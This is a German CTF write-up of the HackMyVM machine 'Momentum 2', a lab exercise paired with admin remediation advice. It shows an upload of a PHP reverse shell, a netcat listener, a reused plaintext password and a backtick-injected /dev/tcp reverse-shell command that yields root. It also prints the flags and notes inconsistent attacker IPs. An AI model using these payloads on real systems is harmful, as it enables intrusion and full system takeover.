Im bereitgestellten Text fehlen die initialen Reconnaissance-Schritte wie ARP-Scan, Nmap-Scan oder Hostnamen-Zuordnung. Der Bericht beginnt direkt mit der Analyse eines abgefangenen HTTP-Requests, was darauf hindeutet, dass die grundlegende Zielidentifikation (IP: 192.168.2.109 laut Burp-Request) und Port-Enumeration bereits stattgefunden haben müssen.
POST /ajax.php HTTP/1.1 Host: 192.168.2.109 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------2893987342745606813665994749 Content-Length: 5717 Origin: http://192.168.2.109 Connection: close Referer: http://192.168.2.109/dashboard.html Cookie: admin=cookie -----------------------------2893987342745606813665994749 Content-Disposition: form-data; name="secure" val1d -----------------------------2893987342745606813665994749 Content-Disposition: form-data; name="file"; filename="rev.php" Content-Type: application/x-php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net -----------------------------2893987342745606813665994749--
Analyse: Dieser mit Burp Suite abgefangene HTTP-Request zeigt einen POST-Request an die Datei `/ajax.php` auf dem Ziel `192.168.2.109`. Es handelt sich um einen `multipart/form-data`-Request, was typisch für Datei-Uploads ist. Zwei Formularfelder werden gesendet: 1. `secure`: mit dem Wert `val1d`. Dies könnte eine Art CSRF-Token oder eine Validierungsprüfung sein. 2. `file`: Enthält den Upload einer Datei namens `rev.php`. Der `Content-Type` ist als `application/x-php` angegeben, und der Inhalt (nach Entfernung der PHP-Tags) ist ein Kommentar, der auf eine PHP-Reverse-Shell hindeutet. Ein Cookie `admin=cookie` wird ebenfalls mitgesendet.
Bewertung: Dies ist ein klarer Hinweis auf eine Datei-Upload-Funktionalität über `ajax.php`, wahrscheinlich erreichbar über `/dashboard.html`. Die Möglichkeit, eine PHP-Datei hochzuladen, stellt ein hohes Risiko dar, da sie zu Remote Code Execution (RCE) führen kann, wenn die hochgeladene Datei anschließend ausgeführt werden kann.
Empfehlung (Pentester): Überprüfen Sie, ob der Upload erfolgreich war und wo die Datei auf dem Server gespeichert wurde. Versuchen Sie, die hochgeladene Datei (`rev.php`) über den Webbrowser aufzurufen, um die Reverse Shell auszulösen. Richten Sie vorher einen Listener (z.B. `nc -lvnp PORT`) ein.
Empfehlung (Admin): Implementieren Sie strenge Kontrollen für Datei-Uploads: Überprüfen Sie Dateitypen serverseitig (nicht nur anhand des `Content-Type`-Headers oder der Dateiendung), beschränken Sie Dateigrößen, speichern Sie hochgeladene Dateien außerhalb des Web-Roots oder in einem Verzeichnis ohne Ausführungsrechte, und benennen Sie hochgeladene Dateien zufällig um. Validieren Sie Eingaben wie den `secure`-Parameter serverseitig.
# browser: http://192.168.2.109/owls/ meineShell: rev.php
Analyse: Diese Notizen deuten darauf hin, dass die hochgeladene Datei `rev.php` im Verzeichnis `/owls/` auf dem Webserver gespeichert wurde und anschließend über die URL `http://192.168.2.109/owls/rev.php` im Browser aufgerufen wurde, um die Reverse Shell zu triggern.
Bewertung: Bestätigt den vermuteten Pfad und die Methode zur Ausführung des hochgeladenen Payloads.
Empfehlung (Pentester): Führen Sie den Browser-Aufruf durch, nachdem der Listener gestartet wurde.
Empfehlung (Admin): Verhindern Sie das Speichern von potenziell ausführbaren Dateien in web-zugänglichen Verzeichnissen oder konfigurieren Sie den Webserver so, dass er keine Skripte in diesen Verzeichnissen ausführt (z.B. durch Entfernen des Execute-Handlers für PHP in der Nginx/Apache-Konfiguration für das `/owls/`-Verzeichnis).
listening on [any] 9001 ...
connect to [192.168.2.131] from (UNKNOWN) [192.168.2.109] 45392
*
$
Analyse: Ein Netcat-Listener wird auf dem Angreifer-System auf Port `9001` gestartet. Nach dem Aufruf der hochgeladenen `rev.php` im Browser geht eine Verbindung vom Zielsystem (`192.168.2.109`) ein. *Anmerkung: Die angezeigte Quell-IP `192.168.2.131` des Angreifers ist inkonsistent mit der späteren IP `192.168.2.140`.* Wir erhalten eine Shell-Prompt (`$`), die darauf hindeutet, dass der initiale Zugriff erfolgreich war.
Bewertung: Erfolg! Die Ausnutzung der Datei-Upload-Schwachstelle hat zu einer Reverse Shell geführt. Wir haben nun initialen Zugriff auf das System, wahrscheinlich als der Benutzer, unter dem der Webserver läuft (`www-data` oder ähnlich).
Empfehlung (Pentester): Führen Sie `whoami` und `id` aus, um den aktuellen Benutzer zu identifizieren. Stabilisieren Sie die Shell (z.B. mit Python PTY). Beginnen Sie mit der Enumeration des Systems aus der Sicht dieses Benutzers.
Empfehlung (Admin): Beheben Sie die Upload-Schwachstelle wie zuvor empfohlen.
$www-data: cat password-reminder.txt password : myvulnerableapp*
Analyse: In der erhaltenen Shell wird eine Datei namens `password-reminder.txt` gefunden und ihr Inhalt ausgelesen. Die Datei enthält den Text `password : myvulnerableapp*`.
Bewertung: Dies ist ein wichtiger Fund. Es handelt sich wahrscheinlich um ein Passwort, das auf dem System wiederverwendet wird, möglicherweise für den Benutzer `athena`, der im nächsten Schritt per SSH angegriffen wird. Das `*` am Ende könnte Teil des Passworts sein oder ein Artefakt.
Empfehlung (Pentester): Versuchen Sie, dieses Passwort (`myvulnerableapp*`) für den SSH-Login des Benutzers `athena` (oder andere gefundene Benutzer) zu verwenden.
Empfehlung (Admin): Speichern Sie niemals Passwörter oder Erinnerungen daran im Klartext in Dateien auf dem System. Schulen Sie Benutzer darin, sichere Passwortpraktiken anzuwenden und keine Passwort-Erinnerungen ungesichert abzulegen.
Strategie Teil 1: Von `www-data` zu `athena`
Der nächste Schritt ist die Eskalation vom Webserver-Benutzer (`www-data`) zu einem regulären Benutzer (`athena`), wahrscheinlich unter Verwendung des gefundenen Passworts.
The authenticity of host 'mom.hmv (192.168.2.144)' can't be established.
ED25519 key fingerprint is SHA256:aVUkKd3or0Ml25d7E6p9nRDjyvlHUFPmrhZnutzxW80.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'mom.hmv' (ED25519) to the list of known hosts.
athena@mom.hmv's password: myvulnerableapp*
Analyse: Es wird eine SSH-Verbindung zum Host `mom.hmv` (aufgelöst zu `192.168.2.144`) als Benutzer `athena` versucht. *Anmerkung: Dies ist ein anderer Hostname/IP als der ursprüngliche Zielhost (`192.168.2.109`). Dies könnte ein Fehler im Bericht sein oder auf eine Multi-Host-Umgebung hindeuten. Der spätere Prompt `athena@momentum2` passt jedoch zum Maschinennamen.* Nach Bestätigung des Host-Keys wird das zuvor gefundene Passwort `myvulnerableapp*` eingegeben, was zum erfolgreichen Login führt.
Bewertung: Erfolg! Das in der `password-reminder.txt` gefundene Passwort war gültig für den SSH-Login des Benutzers `athena`. Die Rechte wurden erfolgreich vom `www-data`-Kontext auf den `athena`-Benutzer eskaliert.
Empfehlung (Pentester): Führen Sie Enumerationsschritte als Benutzer `athena` durch: Prüfen Sie `sudo -l`, suchen Sie nach SUID/GUID-Dateien, überprüfen Sie Cronjobs, durchsuchen Sie das Home-Verzeichnis nach interessanten Dateien oder Konfigurationen. Erfassen Sie das User-Flag.
Empfehlung (Admin): Erzwingen Sie starke, einzigartige Passwörter für alle Benutzer. Vermeiden Sie Passwort-Wiederverwendung. Deaktivieren Sie ungenutzte Benutzerkonten.
/ \
~ Momentum 2 ~ User wned ~
\ /
---------------------------------------------------
FLAG : 4WpJT9qXoQwFGeoRoFBEJZiM2j2Ad33gWipzZkStMLHw
---------------------------------------------------
Analyse: Im Home-Verzeichnis von `athena` wird die Datei `user.txt` gefunden und der Inhalt (das User-Flag) ausgelesen.
Bewertung: Das User-Flag wurde erfolgreich erfasst.
Strategie Teil 2: Von `athena` zu `root`
Nun wird nach einem Weg gesucht, um von `athena` zu `root`-Rechten zu gelangen.
~ Random Cookie Generation ~
[!] for security reasons we keep logs about cookie seeds.
Enter the seed : `bash -c "bash -i >& /dev/tcp/192.168.2.140/9001 0>&1"`
Analyse: Der Benutzer `athena` führt das Python-Skript `/home/team-tasks/cookie-gen.py` mit `sudo` aus. Dies impliziert, dass `athena` über `sudo -l` (obwohl nicht gezeigt) die Berechtigung hat, genau dieses Skript als `root` auszuführen. Das Skript fordert zur Eingabe eines "seed"-Wertes auf. Anstatt eines normalen Seeds wird hier eine OS-Command-Injection versucht: Der String `` `bash -c "bash -i >& /dev/tcp/192.168.2.140/9001 0>&1"` `` wird eingegeben. Die Backticks (`) bewirken, dass der eingeschlossene Befehl von der Shell ausgeführt wird, bevor sein Output als Seed verwendet wird. Der Befehl selbst baut eine interaktive Bash-Reverse-Shell zum Angreifer-System (`192.168.2.140`) auf Port `9001` auf.
Bewertung: Dies ist ein klassischer Fall von Privilege Escalation durch unsichere `sudo`-Rechte kombiniert mit Command Injection. Das Python-Skript verwendet den Benutzereingabe-Seed wahrscheinlich unsicher (z.B. übergibt ihn direkt an eine Shell-Funktion wie `os.system` oder `subprocess.call` mit `shell=True`), was die Injection ermöglicht. *Anmerkung: Erneut eine inkonsistente Angreifer-IP (`192.168.2.140`).*
Empfehlung (Pentester): Starten Sie einen Listener auf `192.168.2.140:9001`, bevor Sie den Payload eingeben. Führen Sie den `sudo`-Befehl aus und geben Sie den Command-Injection-Payload ein, um die Root-Shell zu erhalten.
Empfehlung (Admin): Vergeben Sie `sudo`-Rechte äußerst restriktiv. Erlauben Sie niemals das Ausführen von Skripten als `root`, die unvalidierte Benutzereingaben entgegennehmen und in potenziell gefährlichen Operationen (wie Shell-Befehlen) verwenden. Überprüfen Sie den Code von `/home/team-tasks/cookie-gen.py` und beheben Sie die Command-Injection-Schwachstelle durch korrekte Validierung und sichere Handhabung des Seeds (z.B. keine direkte Übergabe an eine Shell).
listening on [any] 9001 ...
connect to [192.168.2.140] from (UNKNOWN) [192.168.2.144] 54736
bash: initialize_job_control: no job control in background: Bad file descriptor
Analyse: Der Netcat-Listener auf dem Angreifer-System (`192.168.2.140`, Port `9001`) empfängt die eingehende Verbindung vom Zielsystem (`192.168.2.144`, Hostname `momentum2`). Eine Root-Shell (`root@momentum2#`) wird erhalten. Die Meldung `bash: initialize_job_control...` ist typisch für einfache Reverse Shells.
Bewertung: Fantastisch! Die Rechteausweitung auf `root` durch Ausnutzung der unsicheren `sudo`-Regel und Command Injection im Python-Skript war erfolgreich.
Empfehlung (Pentester): Stabilisieren Sie die Shell, falls nötig. Suchen und erfassen Sie das Root-Flag (`/root/root.txt`).
Empfehlung (Admin): Beheben Sie die `sudo`-Fehlkonfiguration und die Command-Injection-Schwachstelle im Skript.
// \\
} Rooted - Momentum 2 {
\\ //
---------------------------------------------------
FLAG : 4bRQL7jaiFqK45dVjC2XP4TzfKizgGHTMYJfSrPEkezG
---------------------------------------------------
by Alienum with <3
Analyse: In der Root-Shell wird die Datei `/root/root.txt` (vermutlich im `/root`-Verzeichnis, obwohl der `cd`-Befehl nicht gezeigt wird) ausgelesen und das Root-Flag wird angezeigt.
Bewertung: Das Root-Flag wurde erfolgreich erfasst. Das Ziel der Maschine ist erreicht.
Empfehlung (Pentester): Dokumentieren Sie die Flags und den Angriffspfad. Führen Sie ggf. Bereinigungsmaßnahmen durch.
Empfehlung (Admin): Sichern Sie die Maschine, indem Sie die identifizierten Schwachstellen (unsicherer Datei-Upload, Passwort im Klartext, unsichere sudo-Regel, Command Injection) beheben.
Kurzbeschreibung: Der Benutzer `athena` ist berechtigt, das Python-Skript `/home/team-tasks/cookie-gen.py` mittels `sudo` als `root` auszuführen. Dieses Skript nimmt einen "seed"-Wert als Benutzereingabe entgegen und verwendet diesen unsicher, was eine OS-Command-Injection ermöglicht. Durch die Eingabe eines speziell präparierten Strings, der einen Reverse-Shell-Befehl enthält (eingeschlossen in Backticks `` ` ``), kann ein Angreifer mit `athena`-Rechten eine Root-Shell auf dem System erlangen.
Voraussetzungen:
Schritt-für-Schritt Anleitung:
Erwartetes Ergebnis: Der Befehl innerhalb der Backticks wird als `root` ausgeführt. Eine Bash-Reverse-Shell verbindet sich zum Listener des Angreifers.
Beweismittel: Eingehende Verbindung auf dem Netcat-Listener, Ausführung des `id`-Befehls in der erhaltenen Shell zeigt `uid=0(root)`.
Risikobewertung: Hoch. Diese Schwachstelle erlaubt einem Benutzer mit spezifischen, aber niedrigeren Rechten (`athena`), vollständige Root-Kontrolle über das System zu erlangen.
Empfehlungen (Admin):